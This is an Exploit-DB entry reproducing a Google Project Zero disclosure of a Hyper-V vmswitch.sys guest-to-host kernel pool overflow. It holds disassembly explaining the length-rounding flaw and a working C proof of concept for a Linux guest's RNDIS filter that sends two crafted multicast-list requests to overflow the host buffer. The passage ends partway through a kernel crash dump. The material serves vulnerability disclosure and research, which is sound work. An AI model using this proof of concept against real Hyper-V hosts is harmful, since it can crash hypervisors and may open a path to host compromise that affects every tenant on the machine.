Exploit-DB #39713
Description: Hyper-V - 'vmswitch.sys' VmsMpCommonPvtHandleMulticastOids Guest to Host Kernel-Pool Overflow
Type: dos
Platform: windows
Date: 2016-04-20
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=688

This function is reachable by sending a RNDIS Set request with OID 0x01010209 (OID_802_3_MULTICAST_LIST) from the Guest to the Host.

This function potentially allocates a buffer based on the addresses sent.
The number of entries is determined by dividing the length of the data by 6:

.text:[PII_REDACTED]01D717 mov eax, 0AAAAAAABh
.text:[PII_REDACTED]01D71C mov r13b, 1
.text:[PII_REDACTED]01D71F mul r14d
.text:[PII_REDACTED]01D722 mov ebp, edx
.text:[PII_REDACTED]01D724 shr ebp, 2
.text:[PII_REDACTED]01D727 test ebp, ebp ; ebp=r14d//6
.text:[PII_REDACTED]01D729 jz loc_31B04
.text:[PII_REDACTED]01D72F
.text:[PII_REDACTED]01D72F loc_1D72F: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+144CEj
.text:[PII_REDACTED]01D72F cmp ebp, [rbx+0EE8h]
.text:[PII_REDACTED]01D735 jz loc_31B2B
.text:[PII_REDACTED]01D73B mov r8d, 'mcMV' ; Tag
.text:[PII_REDACTED]01D741 mov rdx, r14 ; NumberOfBytes
.text:[PII_REDACTED]01D744 mov ecx, 200h ; PoolType
.text:[PII_REDACTED]01D749 mov r12, r14
.text:[PII_REDACTED]01D74C call cs:__imp_ExAllocatePoolWithTag .text:[PII_REDACTED]01D752 mov r14, rax
.text:[PII_REDACTED]01D755 test rax, rax
.text:[PII_REDACTED]01D758 jz loc_1D7E8
.text:[PII_REDACTED]01D75E mov r8, r12 ; Size
.text:[PII_REDACTED]01D761 mov rdx, r15 ; Src
.text:[PII_REDACTED]01D764 mov rcx, rax ; Dst
.text:[PII_REDACTED]01D767 call memmove

An interesting test is located at 0x1D72F.
If the number of entries is identical to the currently stored one, then we jump to this piece of code:

.text:[PII_REDACTED]031B2B loc_31B2B: ; CODE XREF: VmsMpCommonPvtHandleMulticastOids+F5j
.text:[PII_REDACTED]031B2B mov rcx, [rbx+0EE0h] ; Dst
.text:[PII_REDACTED]031B32 mov r8, r14 ; Size
.text:[PII_REDACTED]031B35 mov rdx, r15 ; Src
.text:[PII_REDACTED]031B38 call memmove

Note that the size of the copy operation is the size of the data. As the division is dropping the remainder component, we can overflow the allocation by 1 to 5 bytes doing the following:
- call this function with data of size 6*x
- call this function again with size 6*x+y with 1<=y<=5
  - then 6*x bytes will be allocated and stored at 0xee0
  - and x will be saved at 0xee8;
  - x will be compared with what is at 0xee8
  - being equal it will proceed copying 6*x+y in a buffer of 6*x bytes at 0xee0

If exploited successfully (not sure if it's doable), it would lead to code execution in the context of the Host R0.

Please note that this issue has been silently fixed in Windows Server 2016 TP4 (and maybe prior).

PoC (put it and call it somewhere useful in rndis_filter.c):
*/

static int rndis_pool_overflow(struct rndis_device *rdev)
{
  int ret;
  struct net_device *ndev = rdev->net_dev->ndev;
  struct rndis_request *request;
  struct rndis_set_request *set;
  struct rndis_set_complete *set_complete;
  u32 extlen = 16 * 6;
  unsigned long t;

  request = get_rndis_request(
    rdev, RNDIS_MSG_SET,
    RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen);

  if (!request)
    return -ENOMEM;

  set = &request->request_msg.msg.set_req;
  set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST
  set->info_buflen = extlen;
  set->info_buf_offset = sizeof(struct rndis_set_request);
  set->dev_vc_handle = 0;

  ret = rndis_filter_send_request(rdev, request);
  if (ret != 0)
    goto cleanup;

  t = wait_for_completion_timeout(&request->wait_event, 5*HZ);
  if (t == 0)
    return -ETIMEDOUT;
  else {
    set_complete = &request->response_msg.msg.set_complete;
    if (set_complete->status != RNDIS_STATUS_SUCCESS) {
      printk(KERN_INFO "failed to set multicast list: 0x%x\n",
        set_complete->status);
      ret = -EINVAL;
    }
  }

  put_rndis_request(rdev, request);
  request = get_rndis_request(rdev, RNDIS_MSG_SET,
    RNDIS_MESSAGE_SIZE(struct rndis_set_request) + extlen + 5);

  if (!request)
    return -ENOMEM;

  set = &request->request_msg.msg.set_req;
  set->oid = 0x01010209; // OID_802_3_MULTICAST_LIST
  set->info_buflen = extlen + 5;
  set->info_buf_offset = sizeof(struct rndis_set_request);
  set->dev_vc_handle = 0;

  ret = rndis_filter_send_request(rdev, request);
  if (ret != 0)
    goto cleanup;

  t = wait_for_completion_timeout(&request->wait_event, 5*HZ);
  if (t == 0)
    return -ETIMEDOUT;
  else {
    set_complete = &request->response_msg.msg.set_complete;
    if (set_complete->status != RNDIS_STATUS_SUCCESS) {
      printk(KERN_INFO "failed to set multicast list: 0x%x\n",
        set_complete->status);
      ret = -EINVAL;
    }
 }

cleanup:
  put_rndis_request(rdev, request);

  return ret;
}

/*
Crash dump (with Special Pool enabled for vmswitch.sys):

7: kd> !analyze -v

*******************************************************************************

* *

* Bugcheck Analysis *

* *

*******************************************************************************

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is usually

caused by drivers using improper addresses.

If kernel debugger is available get stack backtrace.

Arguments:

Arg1: ffffcf81085c9000, memory referenced

Arg2: [PII_REDACTED], IRQL

Arg3: [PII_REDACTED], value 0 = read operation, 1 = write operation

Arg4: fffff8005fad3249, address which referenced memory

Debugging Details:

------------------

DUMP_CLASS: 1

DUMP_QUALIFIER: 401

BUILD_VERSION_STRING: 9600.18146.amd64fre.winblue_ltsb[PII_REDACTED]

...

BASEBOARD_VERSION: 

DUMP_TYPE: 1

BUGCHECK_P1: ffffcf81085c9000

BUGCHECK_P2: 2

BUGCHECK_P3: 1

BUGCHECK_P4: fffff8005fad3249

WRITE_ADDRESS: ffffcf81085c9000 Special pool

CURRENT_IRQL: 2

FAULTING_IP: 

vmswitch!memcpy+49

fffff800`5fad3249 8841ff mov byte ptr [rcx-1],al

CPU_COUNT: 8

CPU_MHZ: c88

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 1a

CPU_STEPPING: 4

C